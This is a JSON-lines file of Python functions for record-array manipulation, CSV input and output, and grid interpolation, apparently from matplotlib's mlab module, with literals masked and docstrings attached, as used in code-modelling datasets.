{"signature": "def rec_append_fields(rec, names, arrs, dtypes=None):", "body": "if (not cbook.is_string_like(names) and cbook.iterable(names)and len(names) and cbook.is_string_like(names[<NUM_LIT:0>])):<EOL><INDENT>if len(names) != len(arrs):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else: <EOL><INDENT>names = [names]<EOL>arrs = [arrs]<EOL><DEDENT>arrs = list(map(np.asarray, arrs))<EOL>if dtypes is None:<EOL><INDENT>dtypes = [a.dtype for a in arrs]<EOL><DEDENT>elif not cbook.iterable(dtypes):<EOL><INDENT>dtypes = [dtypes]<EOL><DEDENT>if len(arrs) != len(dtypes):<EOL><INDENT>if len(dtypes) == <NUM_LIT:1>:<EOL><INDENT>dtypes = dtypes * len(arrs)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>newdtype = np.dtype(rec.dtype.descr + list(zip(names, dtypes)))<EOL>newrec = np.empty(rec.shape, dtype=newdtype)<EOL>for field in rec.dtype.fields:<EOL><INDENT>newrec[field] = rec[field]<EOL><DEDENT>for name, arr in zip(names, arrs):<EOL><INDENT>newrec[name] = arr<EOL><DEDENT>return rec_view(newrec)<EOL>", "docstring": "Return a new record array with field names populated with data\nfrom arrays in *arrs*.  If appending a single field, then *names*,\n*arrs* and *dtypes* do not have to be lists. They can just be the\nvalues themselves.", "id": "f17237:m82"}
{"signature": "def rec_drop_fields(rec, names):", "body": "names = set(names)<EOL>Nr = len(rec)<EOL>newdtype = np.dtype([(name, rec.dtype[name]) for name in rec.dtype.names<EOL>if name not in names])<EOL>newrec = np.empty(Nr, dtype=newdtype)<EOL>for field in newdtype.names:<EOL><INDENT>newrec[field] = rec[field]<EOL><DEDENT>return rec_view(newrec)<EOL>", "docstring": "Return a new numpy record array with fields in *names* dropped.", "id": "f17237:m83"}
{"signature": "def rec_groupby(r, groupby, stats):", "body": "<EOL>rowd = dict()<EOL>for i, row in enumerate(r):<EOL><INDENT>key = tuple([row[attr] for attr in groupby])<EOL>rowd.setdefault(key, []).append(i)<EOL><DEDENT>keys = list(rowd.keys())<EOL>keys.sort()<EOL>rows = []<EOL>for key in keys:<EOL><INDENT>row = list(key)<EOL>ind = rowd[key]<EOL>thisr = r[ind]<EOL>row.extend([func(thisr[attr]) for attr, func, outname in stats])<EOL>rows.append(row)<EOL><DEDENT>attrs, funcs, outnames = list(zip(*stats))<EOL>names = list(groupby)<EOL>names.extend(outnames)<EOL>return np.rec.fromrecords(rows, names=names)<EOL>", "docstring": "*r* is a numpy record array\n\n*groupby* is a sequence of record array attribute names that\ntogether form the grouping key.  eg ('date', 'productcode')\n\n*stats* is a sequence of (*attr*, *func*, *outname*) tuples which\nwill call ``x = func(attr)`` and assign *x* to the record array\noutput with attribute *outname*.  For example::\n\n  stats = ( ('sales', len, 'numsales'), ('sales', np.mean, 'avgsale') )\n\nReturn record array has *dtype* names for each attribute name in\nthe the *groupby* argument, with the associated group values, and\nfor each outname name in the *stats* argument, with the associated\nstat summary output.", "id": "f17237:m84"}
{"signature": "def rec_summarize(r, summaryfuncs):", "body": "names = list(r.dtype.names)<EOL>arrays = [r[name] for name in names]<EOL>for attr, func, outname in summaryfuncs:<EOL><INDENT>names.append(outname)<EOL>arrays.append(np.asarray(func(r[attr])))<EOL><DEDENT>return np.rec.fromarrays(arrays, names=names)<EOL>", "docstring": "*r* is a numpy record array\n\n*summaryfuncs* is a list of (*attr*, *func*, *outname*) tuples\nwhich will apply *func* to the the array *r*[attr] and assign the\noutput to a new attribute name *outname*.  The returned record\narray is identical to *r*, with extra arrays for each element in\n*summaryfuncs*.", "id": "f17237:m85"}
{"signature": "def rec_join(key, r1, r2, jointype='<STR_LIT>', defaults=None, r1postfix='<STR_LIT:1>', r2postfix='<STR_LIT:2>'):", "body": "if cbook.is_string_like(key):<EOL><INDENT>key = (key, )<EOL><DEDENT>for name in key:<EOL><INDENT>if name not in r1.dtype.names:<EOL><INDENT>raise ValueError('<STR_LIT>'%name)<EOL><DEDENT>if name not in r2.dtype.names:<EOL><INDENT>raise ValueError('<STR_LIT>'%name)<EOL><DEDENT><DEDENT>def makekey(row):<EOL><INDENT>return tuple([row[name] for name in key])<EOL><DEDENT>r1d = dict([(makekey(row),i) for i,row in enumerate(r1)])<EOL>r2d = dict([(makekey(row),i) for i,row in enumerate(r2)])<EOL>r1keys = set(r1d.keys())<EOL>r2keys = set(r2d.keys())<EOL>common_keys = r1keys & r2keys<EOL>r1ind = np.array([r1d[k] for k in common_keys])<EOL>r2ind = np.array([r2d[k] for k in common_keys])<EOL>common_len = len(common_keys)<EOL>left_len = right_len = <NUM_LIT:0><EOL>if jointype == \"<STR_LIT>\" or jointype == \"<STR_LIT>\":<EOL><INDENT>left_keys = r1keys.difference(r2keys)<EOL>left_ind = np.array([r1d[k] for k in left_keys])<EOL>left_len = len(left_ind)<EOL><DEDENT>if jointype == \"<STR_LIT>\":<EOL><INDENT>right_keys = r2keys.difference(r1keys)<EOL>right_ind = np.array([r2d[k] for k in right_keys])<EOL>right_len = len(right_ind)<EOL><DEDENT>def key_desc(name):<EOL><INDENT>'<STR_LIT>'<EOL>dt1 = r1.dtype[name]<EOL>if dt1.type != np.string_:<EOL><INDENT>return (name, dt1.descr[<NUM_LIT:0>][<NUM_LIT:1>])<EOL><DEDENT>dt2 = r1.dtype[name]<EOL>assert dt2==dt1<EOL>if dt1.num>dt2.num:<EOL><INDENT>return (name, dt1.descr[<NUM_LIT:0>][<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>return (name, dt2.descr[<NUM_LIT:0>][<NUM_LIT:1>])<EOL><DEDENT><DEDENT>keydesc = [key_desc(name) for name in key]<EOL>def mapped_r1field(name):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if name in key or name not in r2.dtype.names: return name<EOL>else: return name + r1postfix<EOL><DEDENT>def mapped_r2field(name):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if name in key or name not in r1.dtype.names: return name<EOL>else: return name + r2postfix<EOL><DEDENT>r1desc = [(mapped_r1field(desc[<NUM_LIT:0>]), desc[<NUM_LIT:1>]) for desc in r1.dtype.descr if desc[<NUM_LIT:0>] not in key]<EOL>r2desc = [(mapped_r2field(desc[<NUM_LIT:0>]), desc[<NUM_LIT:1>]) for desc in r2.dtype.descr if desc[<NUM_LIT:0>] not in key]<EOL>newdtype = np.dtype(keydesc + r1desc + r2desc)<EOL>newrec = np.empty(common_len + left_len + right_len, dtype=newdtype)<EOL>if jointype != '<STR_LIT>' and defaults is not None: <EOL><INDENT>newrec_fields = list(newrec.dtype.fields.keys())<EOL>for k, v in list(defaults.items()):<EOL><INDENT>if k in newrec_fields:<EOL><INDENT>newrec[k] = v<EOL><DEDENT><DEDENT><DEDENT>for field in r1.dtype.names:<EOL><INDENT>newfield = mapped_r1field(field)<EOL>if common_len:<EOL><INDENT>newrec[newfield][:common_len] = r1[field][r1ind]<EOL><DEDENT>if (jointype == \"<STR_LIT>\" or jointype == \"<STR_LIT>\") and left_len:<EOL><INDENT>newrec[newfield][common_len:(common_len+left_len)] = r1[field][left_ind]<EOL><DEDENT><DEDENT>for field in r2.dtype.names:<EOL><INDENT>newfield = mapped_r2field(field)<EOL>if field not in key and common_len:<EOL><INDENT>newrec[newfield][:common_len] = r2[field][r2ind]<EOL><DEDENT>if jointype == \"<STR_LIT>\" and right_len:<EOL><INDENT>newrec[newfield][-right_len:] = r2[field][right_ind]<EOL><DEDENT><DEDENT>newrec.sort(order=key)<EOL>return rec_view(newrec)<EOL>", "docstring": "Join record arrays *r1* and *r2* on *key*; *key* is a tuple of\nfield names -- if *key* is a string it is assumed to be a single\nattribute name. If *r1* and *r2* have equal values on all the keys\nin the *key* tuple, then their fields will be merged into a new\nrecord array containing the intersection of the fields of *r1* and\n*r2*.\n\n*r1* (also *r2*) must not have any duplicate keys.\n\nThe *jointype* keyword can be 'inner', 'outer', 'leftouter'.  To\ndo a rightouter join just reverse *r1* and *r2*.\n\nThe *defaults* keyword is a dictionary filled with\n``{column_name:default_value}`` pairs.\n\nThe keywords *r1postfix* and *r2postfix* are postfixed to column names\n(other than keys) that are both in *r1* and *r2*.", "id": "f17237:m86"}
{"signature": "def csv2rec(fname, comments='<STR_LIT:#>', skiprows=<NUM_LIT:0>, checkrows=<NUM_LIT:0>, delimiter='<STR_LIT:U+002C>',<EOL>converterd=None, names=None, missing='<STR_LIT>', missingd=None,<EOL>use_mrecords=True):", "body": "if converterd is None:<EOL><INDENT>converterd = dict()<EOL><DEDENT>if missingd is None:<EOL><INDENT>missingd = {}<EOL><DEDENT>import dateutil.parser<EOL>import datetime<EOL>parsedate = dateutil.parser.parse<EOL>fh = cbook.to_filehandle(fname)<EOL>class FH:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>def __init__(self, fh):<EOL><INDENT>self.fh = fh<EOL><DEDENT>def close(self):<EOL><INDENT>self.fh.close()<EOL><DEDENT>def seek(self, arg):<EOL><INDENT>self.fh.seek(arg)<EOL><DEDENT>def fix(self, s):<EOL><INDENT>return '<STR_LIT:U+0020>'.join(s.split())<EOL><DEDENT>def __next__(self):<EOL><INDENT>return self.fix(next(self.fh))<EOL><DEDENT>def __iter__(self):<EOL><INDENT>for line in self.fh:<EOL><INDENT>yield self.fix(line)<EOL><DEDENT><DEDENT><DEDENT>if delimiter=='<STR_LIT:U+0020>':<EOL><INDENT>fh = FH(fh)<EOL><DEDENT>reader = csv.reader(fh, delimiter=delimiter)<EOL>def process_skiprows(reader):<EOL><INDENT>if skiprows:<EOL><INDENT>for i, row in enumerate(reader):<EOL><INDENT>if i>=(skiprows-<NUM_LIT:1>): break<EOL><DEDENT><DEDENT>return fh, reader<EOL><DEDENT>process_skiprows(reader)<EOL>def ismissing(name, val):<EOL><INDENT>\"<STR_LIT>\"<EOL>if val == missing or val == missingd.get(name) or val == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>def with_default_value(func, default):<EOL><INDENT>def newfunc(name, val):<EOL><INDENT>if ismissing(name, val):<EOL><INDENT>return default<EOL><DEDENT>else:<EOL><INDENT>return func(val)<EOL><DEDENT><DEDENT>return newfunc<EOL><DEDENT>def mybool(x):<EOL><INDENT>if x=='<STR_LIT:True>': return True<EOL>elif x=='<STR_LIT:False>': return False<EOL>else: raise ValueError('<STR_LIT>')<EOL><DEDENT>dateparser = dateutil.parser.parse<EOL>mydateparser = with_default_value(dateparser, datetime.date(<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>))<EOL>myfloat = with_default_value(float, np.nan)<EOL>myint = with_default_value(int, -<NUM_LIT:1>)<EOL>mystr = with_default_value(str, '<STR_LIT>')<EOL>mybool = with_default_value(mybool, None)<EOL>def mydate(x):<EOL><INDENT>d = dateparser(x)<EOL>if d.hour><NUM_LIT:0> or d.minute><NUM_LIT:0> or d.second><NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return d.date()<EOL><DEDENT>mydate = with_default_value(mydate, datetime.date(<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>))<EOL>def get_func(name, item, func):<EOL><INDENT>funcmap = {mybool:myint,myint:myfloat, myfloat:mydate, mydate:mydateparser, mydateparser:mystr}<EOL>try: func(name, item)<EOL>except:<EOL><INDENT>if func==mystr:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else: return get_func(name, item, funcmap[func])    <EOL><DEDENT>else: return func<EOL><DEDENT>itemd = {<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>'<STR_LIT:file>' : '<STR_LIT>',<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>}<EOL>def get_converters(reader):<EOL><INDENT>converters = None<EOL>for i, row in enumerate(reader):<EOL><INDENT>if i==<NUM_LIT:0>:<EOL><INDENT>converters = [mybool]*len(row)<EOL><DEDENT>if checkrows and i>checkrows:<EOL><INDENT>break<EOL><DEDENT>for j, (name, item) in enumerate(zip(names, row)):<EOL><INDENT>func = converterd.get(j)<EOL>if func is None:<EOL><INDENT>func = converterd.get(name)<EOL><DEDENT>if func is None:<EOL><INDENT>func = converters[j]<EOL>if len(item.strip()):<EOL><INDENT>func = get_func(name, item, func)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>func = with_default_value(func, None)<EOL><DEDENT>converters[j] = func<EOL><DEDENT><DEDENT>return converters<EOL><DEDENT>needheader = names is None<EOL>if needheader:<EOL><INDENT>for row in reader:<EOL><INDENT>if len(row) and row[<NUM_LIT:0>].startswith(comments):<EOL><INDENT>continue<EOL><DEDENT>headers = row<EOL>break<EOL><DEDENT>delete = set(\"\"\"<STR_LIT>\"\"\")<EOL>delete.add('<STR_LIT:\">')<EOL>names = []<EOL>seen = dict()<EOL>for i, item in enumerate(headers):<EOL><INDENT>item = item.strip().lower().replace('<STR_LIT:U+0020>', '<STR_LIT:_>')<EOL>item = '<STR_LIT>'.join([c for c in item if c not in delete])<EOL>if not len(item):<EOL><INDENT>item = '<STR_LIT>'%i<EOL><DEDENT>item = itemd.get(item, item)<EOL>cnt = seen.get(item, <NUM_LIT:0>)<EOL>if cnt><NUM_LIT:0>:<EOL><INDENT>names.append(item + '<STR_LIT>'%cnt)<EOL><DEDENT>else:<EOL><INDENT>names.append(item)<EOL><DEDENT>seen[item] = cnt+<NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if cbook.is_string_like(names):<EOL><INDENT>names = [n.strip() for n in names.split('<STR_LIT:U+002C>')]<EOL><DEDENT><DEDENT>converters = get_converters(reader)<EOL>if converters is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>fh.seek(<NUM_LIT:0>)<EOL>reader = csv.reader(fh, delimiter=delimiter)<EOL>process_skiprows(reader)<EOL>if needheader:<EOL><INDENT>skipheader = next(reader)<EOL><DEDENT>rows = []<EOL>rowmasks = []<EOL>for i, row in enumerate(reader):<EOL><INDENT>if not len(row): continue<EOL>if row[<NUM_LIT:0>].startswith(comments): continue<EOL>rows.append([func(name, val) for func, name, val in zip(converters, names, row)])<EOL>rowmasks.append([ismissing(name, val) for name, val in zip(names, row)])<EOL><DEDENT>fh.close()<EOL>if not len(rows):<EOL><INDENT>return None<EOL><DEDENT>if use_mrecords and np.any(rowmasks):<EOL><INDENT>try: from numpy.ma import mrecords<EOL>except ImportError:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>r = mrecords.fromrecords(rows, names=names, mask=rowmasks)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>r = np.rec.fromrecords(rows, names=names)<EOL><DEDENT>return r<EOL>", "docstring": "Load data from comma/space/tab delimited file in *fname* into a\nnumpy record array and return the record array.\n\nIf *names* is *None*, a header row is required to automatically\nassign the recarray names.  The headers will be lower cased,\nspaces will be converted to underscores, and illegal attribute\nname characters removed.  If *names* is not *None*, it is a\nsequence of names to use for the column names.  In this case, it\nis assumed there is no header row.\n\n\n- *fname*: can be a filename or a file handle.  Support for gzipped\n  files is automatic, if the filename ends in '.gz'\n\n- *comments*: the character used to indicate the start of a comment\n  in the file\n\n- *skiprows*: is the number of rows from the top to skip\n\n- *checkrows*: is the number of rows to check to validate the column\n  data type.  When set to zero all rows are validated.\n\n- *converted*: if not *None*, is a dictionary mapping column number or\n  munged column name to a converter function.\n\n- *names*: if not None, is a list of header names.  In this case, no\n  header will be read from the file\n\n- *missingd* is a dictionary mapping munged column names to field values\n  which signify that the field does not contain actual data and should\n  be masked, e.g. '0000-00-00' or 'unused'\n\n- *missing*: a string whose value signals a missing field regardless of\n  the column it appears in\n\n- *use_mrecords*: if True, return an mrecords.fromrecords record array if any of the data are missing\n\n  If no rows are found, *None* is returned -- see :file:`examples/loadrec.py`", "id": "f17237:m87"}
{"signature": "def get_formatd(r, formatd=None):", "body": "if formatd is None:<EOL><INDENT>formatd = dict()<EOL><DEDENT>for i, name in enumerate(r.dtype.names):<EOL><INDENT>dt = r.dtype[name]<EOL>format = formatd.get(name)<EOL>if format is None:<EOL><INDENT>format = defaultformatd.get(dt.type, FormatObj())<EOL><DEDENT>formatd[name] = format<EOL><DEDENT>return formatd<EOL>", "docstring": "build a formatd guaranteed to have a key for every dtype name", "id": "f17237:m88"}
{"signature": "def rec2txt(r, header=None, padding=<NUM_LIT:3>, precision=<NUM_LIT:3>):", "body": "if cbook.is_numlike(precision):<EOL><INDENT>precision = [precision]*len(r.dtype)<EOL><DEDENT>def get_type(item,atype=int):<EOL><INDENT>tdict = {None:int, int:float, float:str}<EOL>try: atype(str(item))<EOL>except: return get_type(item,tdict[atype])<EOL>return atype<EOL><DEDENT>def get_justify(colname, column, precision):<EOL><INDENT>ntype = type(column[<NUM_LIT:0>])<EOL>if ntype==np.str or ntype==np.str_ or ntype==np.string0 or ntype==np.string_:<EOL><INDENT>length = max(len(colname),column.itemsize)<EOL>return <NUM_LIT:0>, length+padding, \"<STR_LIT:%s>\" <EOL><DEDENT>if ntype==np.int or ntype==np.int16 or ntype==np.int32 or ntype==np.int64 or ntype==np.int8 or ntype==np.int_:<EOL><INDENT>length = max(len(colname),np.max(list(map(len,list(map(str,column))))))<EOL>return <NUM_LIT:1>, length+padding, \"<STR_LIT>\" <EOL><DEDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if ntype==np.float or ntype==np.float32 or ntype==np.float64 or (hasattr(np, '<STR_LIT>') and (ntype==np.float96)) or ntype==np.float_:<EOL><INDENT>fmt = \"<STR_LIT>\" + str(precision) + \"<STR_LIT:f>\"<EOL>length = max(len(colname),np.max(list(map(len,[fmt%x for x in column]))))<EOL>return <NUM_LIT:1>, length+padding, fmt   <EOL><DEDENT>return <NUM_LIT:0>, max(len(colname),np.max(list(map(len,list(map(str,column))))))+padding, \"<STR_LIT:%s>\"<EOL><DEDENT>if header is None:<EOL><INDENT>header = r.dtype.names<EOL><DEDENT>justify_pad_prec = [get_justify(header[i],r.__getitem__(colname),precision[i]) for i, colname in enumerate(r.dtype.names)]<EOL>justify_pad_prec_spacer = []<EOL>for i in range(len(justify_pad_prec)):<EOL><INDENT>just,pad,prec = justify_pad_prec[i]<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>justify_pad_prec_spacer.append((just,pad,prec,<NUM_LIT:0>))<EOL><DEDENT>else:<EOL><INDENT>pjust,ppad,pprec = justify_pad_prec[i-<NUM_LIT:1>]<EOL>if pjust == <NUM_LIT:0> and just == <NUM_LIT:1>:<EOL><INDENT>justify_pad_prec_spacer.append((just,pad-padding,prec,<NUM_LIT:0>))<EOL><DEDENT>elif pjust == <NUM_LIT:1> and just == <NUM_LIT:0>:<EOL><INDENT>justify_pad_prec_spacer.append((just,pad,prec,padding))<EOL><DEDENT>else:<EOL><INDENT>justify_pad_prec_spacer.append((just,pad,prec,<NUM_LIT:0>))<EOL><DEDENT><DEDENT><DEDENT>def format(item, just_pad_prec_spacer):<EOL><INDENT>just, pad, prec, spacer = just_pad_prec_spacer<EOL>if just == <NUM_LIT:0>:<EOL><INDENT>return spacer*'<STR_LIT:U+0020>' + str(item).ljust(pad)<EOL><DEDENT>else:<EOL><INDENT>if get_type(item) == float:<EOL><INDENT>item = (prec%float(item))<EOL><DEDENT>elif get_type(item) == int:<EOL><INDENT>item = (prec%int(item))<EOL><DEDENT>return item.rjust(pad)<EOL><DEDENT><DEDENT>textl = []<EOL>textl.append('<STR_LIT>'.join([format(colitem,justify_pad_prec_spacer[j]) for j, colitem in enumerate(header)]))<EOL>for i, row in enumerate(r):<EOL><INDENT>textl.append('<STR_LIT>'.join([format(colitem,justify_pad_prec_spacer[j]) for j, colitem in enumerate(row)]))<EOL>if i==<NUM_LIT:0>:<EOL><INDENT>textl[<NUM_LIT:0>] = textl[<NUM_LIT:0>].rstrip()<EOL><DEDENT><DEDENT>text = os.linesep.join(textl)<EOL>return text<EOL>", "docstring": "Returns a textual representation of a record array.\n\n*r*: numpy recarray\n\n*header*: list of column headers\n\n*padding*: space between each column\n\n*precision*: number of decimal places to use for floats.\n    Set to an integer to apply to all floats.  Set to a\n    list of integers to apply precision individually.\n    Precision for non-floats is simply ignored.\n\nExample::\n\n  precision=[0,2,3]\n\nOutput::\n\n  ID    Price   Return\n  ABC   12.54    0.234\n  XYZ    6.32   -0.076", "id": "f17237:m90"}
{"signature": "def rec2csv(r, fname, delimiter='<STR_LIT:U+002C>', formatd=None, missing='<STR_LIT>',<EOL>missingd=None):", "body": "if missingd is None:<EOL><INDENT>missingd = dict()<EOL><DEDENT>def with_mask(func):<EOL><INDENT>def newfunc(val, mask, mval):<EOL><INDENT>if mask:<EOL><INDENT>return mval<EOL><DEDENT>else:<EOL><INDENT>return func(val)<EOL><DEDENT><DEDENT>return newfunc<EOL><DEDENT>formatd = get_formatd(r, formatd)<EOL>funcs = []<EOL>for i, name in enumerate(r.dtype.names):<EOL><INDENT>funcs.append(with_mask(csvformat_factory(formatd[name]).tostr))<EOL><DEDENT>fh, opened = cbook.to_filehandle(fname, '<STR_LIT:w>', return_opened=True)<EOL>writer = csv.writer(fh, delimiter=delimiter)<EOL>header = r.dtype.names<EOL>writer.writerow(header)<EOL>mvals = []<EOL>for name in header:<EOL><INDENT>mvals.append(missingd.get(name, missing))<EOL><DEDENT>ismasked = False<EOL>if len(r):<EOL><INDENT>row = r[<NUM_LIT:0>]<EOL>ismasked = hasattr(row, '<STR_LIT>')<EOL><DEDENT>for row in r:<EOL><INDENT>if ismasked:<EOL><INDENT>row, rowmask = row.item(), row._fieldmask.item()<EOL><DEDENT>else:<EOL><INDENT>rowmask = [False] * len(row)<EOL><DEDENT>writer.writerow([func(val, mask, mval) for func, val, mask, mval<EOL>in zip(funcs, row, rowmask, mvals)])<EOL><DEDENT>if opened:<EOL><INDENT>fh.close()<EOL><DEDENT>", "docstring": "Save the data from numpy recarray *r* into a\ncomma-/space-/tab-delimited file.  The record array dtype names\nwill be used for column headers.\n\n*fname*: can be a filename or a file handle.  Support for gzipped\n  files is automatic, if the filename ends in '.gz'\n\n.. seealso::\n    :func:`csv2rec`:\n        For information about *missing* and *missingd*, which can\n        be used to fill in masked values into your CSV file.", "id": "f17237:m91"}
{"signature": "def griddata(x,y,z,xi,yi):", "body": "try:<EOL><INDENT>from mpl_toolkits.natgrid import _natgrid, __version__<EOL>_use_natgrid = True<EOL><DEDENT>except ImportError:<EOL><INDENT>import matplotlib.delaunay as delaunay<EOL>from matplotlib.delaunay import  __version__<EOL>_use_natgrid = False<EOL><DEDENT>if not griddata._reported:<EOL><INDENT>if _use_natgrid:<EOL><INDENT>verbose.report('<STR_LIT>' % __version__)<EOL><DEDENT>else:<EOL><INDENT>verbose.report('<STR_LIT>' % __version__)<EOL><DEDENT>griddata._reported = True<EOL><DEDENT>if xi.ndim != yi.ndim:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if xi.ndim != <NUM_LIT:1> and xi.ndim != <NUM_LIT:2>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not len(x)==len(y)==len(z):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if hasattr(z,'<STR_LIT>'):<EOL><INDENT>x = x.compress(z.mask == False)<EOL>y = y.compress(z.mask == False)<EOL>z = z.compressed()<EOL><DEDENT>if _use_natgrid: <EOL><INDENT>if xi.ndim == <NUM_LIT:2>:<EOL><INDENT>xi = xi[<NUM_LIT:0>,:]<EOL>yi = yi[:,<NUM_LIT:0>]<EOL><DEDENT>_natgrid.seti('<STR_LIT>',<NUM_LIT:0>)<EOL>_natgrid.setr('<STR_LIT>',np.nan)<EOL>x = x.astype(np.float)<EOL>y = y.astype(np.float)<EOL>z = z.astype(np.float)<EOL>xo = xi.astype(np.float)<EOL>yo = yi.astype(np.float)<EOL>if min(xo[<NUM_LIT:1>:]-xo[<NUM_LIT:0>:-<NUM_LIT:1>]) < <NUM_LIT:0> or min(yo[<NUM_LIT:1>:]-yo[<NUM_LIT:0>:-<NUM_LIT:1>]) < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>zo = np.empty((yo.shape[<NUM_LIT:0>],xo.shape[<NUM_LIT:0>]), np.float)<EOL>_natgrid.natgridd(x,y,z,xo,yo,zo)<EOL><DEDENT>else: <EOL><INDENT>if xi.ndim != yi.ndim:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if xi.ndim != <NUM_LIT:1> and xi.ndim != <NUM_LIT:2>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if xi.ndim == <NUM_LIT:1>:<EOL><INDENT>xi,yi = np.meshgrid(xi,yi)<EOL><DEDENT>tri = delaunay.Triangulation(x,y)<EOL>interp = tri.nn_interpolator(z)<EOL>zo = interp(xi,yi)<EOL><DEDENT>if np.any(np.isnan(zo)):<EOL><INDENT>zo = np.ma.masked_where(np.isnan(zo),zo)<EOL><DEDENT>return zo<EOL>", "docstring": "``zi = griddata(x,y,z,xi,yi)`` fits a surface of the form *z* =\n*f*(*x*, *y*) to the data in the (usually) nonuniformly spaced\nvectors (*x*, *y*, *z*).  :func:`griddata` interpolates this\nsurface at the points specified by (*xi*, *yi*) to produce\n*zi*. *xi* and *yi* must describe a regular grid, can be either 1D\nor 2D, but must be monotonically increasing.\n\nA masked array is returned if any grid points are outside convex\nhull defined by input data (no extrapolation is done).\n\nUses natural neighbor interpolation based on Delaunay\ntriangulation.  By default, this algorithm is provided by the\n:mod:`matplotlib.delaunay` package, written by Robert Kern.  The\ntriangulation algorithm in this package is known to fail on some\nnearly pathological cases. For this reason, a separate toolkit\n(:mod:`mpl_tookits.natgrid`) has been created that provides a more\nrobust algorithm fof triangulation and interpolation.  This\ntoolkit is based on the NCAR natgrid library, which contains code\nthat is not redistributable under a BSD-compatible license.  When\ninstalled, this function will use the :mod:`mpl_toolkits.natgrid`\nalgorithm, otherwise it will use the built-in\n:mod:`matplotlib.delaunay` package.\n\nThe natgrid matplotlib toolkit can be downloaded from\nhttp://sourceforge.net/project/showfiles.php?group_id=80706&package_id=142792", "id": "f17237:m92"}
{"signature": "def less_simple_linear_interpolation( x, y, xi, extrap=False ):", "body": "if cbook.is_scalar(xi): xi = [xi]<EOL>x = np.asarray(x)<EOL>y = np.asarray(y)<EOL>xi = np.asarray(xi)<EOL>s = list(y.shape)<EOL>s[<NUM_LIT:0>] = len(xi)<EOL>yi = np.tile( np.nan, s )<EOL>for ii,xx in enumerate(xi):<EOL><INDENT>bb = x == xx<EOL>if np.any(bb):<EOL><INDENT>jj, = np.nonzero(bb)<EOL>yi[ii] = y[jj[<NUM_LIT:0>]]<EOL><DEDENT>elif xx<x[<NUM_LIT:0>]:<EOL><INDENT>if extrap:<EOL><INDENT>yi[ii] = y[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif xx>x[-<NUM_LIT:1>]:<EOL><INDENT>if extrap:<EOL><INDENT>yi[ii] = y[-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>jj, = np.nonzero(x<xx)<EOL>jj = max(jj)<EOL>yi[ii] = y[jj] + (xx-x[jj])/(x[jj+<NUM_LIT:1>]-x[jj]) * (y[jj+<NUM_LIT:1>]-y[jj])<EOL><DEDENT><DEDENT>return yi<EOL>", "docstring": "This function provides simple (but somewhat less so than\n:func:`cbook.simple_linear_interpolation`) linear interpolation.\n:func:`simple_linear_interpolation` will give a list of point\nbetween a start and an end, while this does true linear\ninterpolation at an arbitrary set of points.\n\nThis is very inefficient linear interpolation meant to be used\nonly for a small number of points in relatively non-intensive use\ncases.  For real linear interpolation, use scipy.", "id": "f17237:m93"}
{"signature": "def slopes(x,y):", "body": "<EOL>x=np.asarray(x, np.float_)<EOL>y=np.asarray(y, np.float_)<EOL>yp=np.zeros(y.shape, np.float_)<EOL>dx=x[<NUM_LIT:1>:] - x[:-<NUM_LIT:1>]<EOL>dy=y[<NUM_LIT:1>:] - y[:-<NUM_LIT:1>]<EOL>dydx = dy/dx<EOL>yp[<NUM_LIT:1>:-<NUM_LIT:1>] = (dydx[:-<NUM_LIT:1>] * dx[<NUM_LIT:1>:] + dydx[<NUM_LIT:1>:] * dx[:-<NUM_LIT:1>])/(dx[<NUM_LIT:1>:] + dx[:-<NUM_LIT:1>])<EOL>yp[<NUM_LIT:0>] = <NUM_LIT> * dy[<NUM_LIT:0>]/dx[<NUM_LIT:0>] - yp[<NUM_LIT:1>]<EOL>yp[-<NUM_LIT:1>] = <NUM_LIT> * dy[-<NUM_LIT:1>]/dx[-<NUM_LIT:1>] - yp[-<NUM_LIT:2>]<EOL>return yp<EOL>", "docstring": ":func:`slopes` calculates the slope *y*'(*x*)\n\nThe slope is estimated using the slope obtained from that of a\nparabola through any three consecutive points.\n\nThis method should be superior to that described in the appendix\nof A CONSISTENTLY WELL BEHAVED METHOD OF INTERPOLATION by Russel\nW. Stineman (Creative Computing July 1980) in at least one aspect:\n\n  Circles for interpolation demand a known aspect ratio between\n  *x*- and *y*-values.  For many functions, however, the abscissa\n  are given in different dimensions, so an aspect ratio is\n  completely arbitrary.\n\nThe parabola method gives very similar results to the circle\nmethod for most regular cases but behaves much better in special\ncases.\n\nNorbert Nemec, Institute of Theoretical Physics, University or\nRegensburg, April 2006 Norbert.Nemec at physik.uni-regensburg.de\n\n(inspired by a original implementation by Halldor Bjornsson,\nIcelandic Meteorological Office, March 2006 halldor at vedur.is)", "id": "f17237:m94"}
